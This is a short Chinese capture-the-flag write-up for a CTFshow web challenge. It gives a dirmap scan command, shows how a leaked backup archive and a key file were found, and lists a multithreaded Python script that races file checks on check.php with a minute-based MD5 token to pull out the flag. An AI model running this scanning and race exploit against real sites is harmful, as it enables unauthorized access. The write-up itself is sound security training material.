CTFshow-web-红包题第六弹
打开靶场,显示如下:
查看源代码
用dirmap扫描
python dirmap.py -i http://b081f96f-e568-44e3-91b5-b00eb60e0e64.challenge.ctf.show/ -lcf
发现web.zip目录是直接下载的,另外两个会跳转页面,但是内容是显示什么什么然后error。下载web.zip,发现check.php.bak
发现是跟key.dat比较,我们尝试在url中添加/key.dat,发现可以下载,我们利用下列代码
首先获得key.dat,首先访问一下这个文件,emmm,果然直接下载了,那么第一层的绕过我们直接就使用了key.dat文件,第二层的sha1值我们随便上传一个字符串即可,所以我们需要并发编程,将$receiveFile中的内容在极短时间内进行替换,这里我们可以编写一个python脚本来进行解题。
import requests
import time
import hashlib
import threading
#这里为什么用分钟数生成:因为通过抓包发现改变分钟后token值才会变化
i=str(time.localtime().tm_min)
#生成token
m=hashlib.md5(i.encode()).hexdigest()
url="http://b081f96f-e568-44e3-91b5-b00eb60e0e64.challenge.ctf.show/check.php?token={}&php://input".format(m)
def POST(data):
try:
r=requests.post(url,data=data)
if "ctfshow" in r.text:
print(r.text)
pass
# print(r.text)
pass
except Exception as e:
print("somthing went wrong!")
pass
pass
with open('key.dat','rb') as t:
data1=t.read()
pass
for i in range(50):
threading.Thread(target=POST,args=(data1,)).start()
for i in range(50):
data2='emmmmm'
threading.Thread(target=POST,args=(data2,)).start()
将下载的key.dat和该脚本放在同一路径下运行即可
找出flag